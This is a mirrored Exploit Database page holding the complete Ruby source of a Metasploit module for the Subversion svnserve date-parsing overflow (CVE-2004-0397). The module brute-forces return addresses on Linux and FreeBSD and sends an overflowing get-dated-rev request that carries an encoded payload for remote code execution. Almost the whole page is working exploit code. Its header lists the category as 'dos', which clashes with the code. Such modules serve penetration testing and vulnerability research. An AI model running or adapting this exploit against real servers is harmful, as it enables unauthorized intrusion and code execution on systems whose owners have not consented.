Subversion – Date Svnserve (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2010-08-07
• 类别：

  • dos
  平台：

  • unix
• 来源：https://www.exploit-db.com/exploits/16284/

• ##
  # $Id: svnserve_date.rb 9971 2010-08-07 06:59:16Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  require 'msf/core/exploit/http/client'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Brute
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Subversion Date Svnserve',
  			'Description'=> %q{
  					This is an exploit for the Subversion date parsing overflow.This
  				exploit is for the svnserve daemon (svn:// protocol) and will not work
  				for Subversion over webdav (http[s]://).This exploit should never
  				crash the daemon, and should be safe to do multi-hits.
  
  				**WARNING** This exploit seems to (not very often, I've only seen
  				it during testing) corrupt the subversion database, so be careful!
  			},
  			'Author' => 'spoonm',
  			'Version'=> '$Revision: 9971 $',
  			'References' =>
  				[
  					['CVE', '2004-0397'],
  					['OSVDB', '6301'],
  					['BID',	'10386'],
  					['URL', 'http://lists.netsys.com/pipermail/full-disclosure/2004-May/021737.html'],
  					['MIL', '68'],
  				],
  			'Payload'=>
  				{
  					'Space'=> 500,
  					'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20",
  					'MinNops'=> 16,
  				},
  			'SaveRegisters'=> [ 'esp' ],
  			'Arch' => 'x86',
  			'Platform' => [ 'linux', 'bsd' ],
  			'Targets'=>
  				[
  					[
  						'Linux Bruteforce',
  						{
  							'Platform' => 'linux',
  							'Bruteforce' =>
  								{
  									'Start' => { 'Ret' => 0xbffffe13 },
  									'Stop'=> { 'Ret' => 0xbfff0000 },
  									'Step'=> 0
  								}
  						},
  					],
  					[
  						'FreeBSD Bruteforce',
  						{
  							'Platform' => 'bsd',
  							'Bruteforce' =>
  								{
  									'Start' => { 'Ret' => 0xbfbffe13 },
  									'Stop'=> { 'Ret' => 0xbfbf0000 },
  									'Step'=> 0
  								}
  						},
  					],
  
  				],
  			'DisclosureDate' => 'May 19 2004'))
  
  		register_options(
  			[
  				Opt::RPORT(3690),
  				OptString.new('URL', [ true, "SVN URL (ie svn://host/repos)", "svn://host/svn/repos" ])
  			], self.class)
  
  		register_advanced_options(
  			[
  				# 62 on spoonm's, 88 on HD's
  				OptInt.new('RetLength', [ false, "Length of rets after payload", 100 ]),
  				OptBool.new('IgnoreErrors', [ false, "Ignore errors", false ])
  			], self.class)
  	end
  
  	def check
  	end
  
  	def brute_exploit(addresses)
  		connect
  
  		print_status("Trying #{"%.8x" % addresses['Ret']}...")
  
  		buffer = ([addresses['Ret']].pack('V') * (datastore['RetLength'] / 4).to_i) + payload.encoded
  
  		[
  			"( 2 ( edit-pipeline ) " + lengther(datastore['URL']) + " ) ",
  			"( ANONYMOUS ( 0; ) )",
  			"( get-dated-rev ( " + lengther(buffer + " 3 Oct 2000 01:01:01.001 (day 277, dst 1, gmt_off)") + " ) ) "
  		].each_with_index { |buf, index|
  			trash = sock.get_once
  
  			print_line("Received: #{trash}") if debugging?
  
  			if (sock.put(buf) || 0) == 0 and index < 3
  				print_error("Error transmitting buffer.")
  				raise ExploitError, "Failed to transmit data" if !datastore['IgnoreErrors']
  			end
  
  			if index == 3 and trash.length > 0
  				print_error("Received data when we shouldn't have")
  				raise ExploitError, "Received data when it wasn't expected" if !datastore['IgnoreErrors']
  			end
  		}
  
  		handler
  		disconnect
  	end
  
  	def lengther(buf)
  		"#{buf.length}:" + buf
  	end
  
  end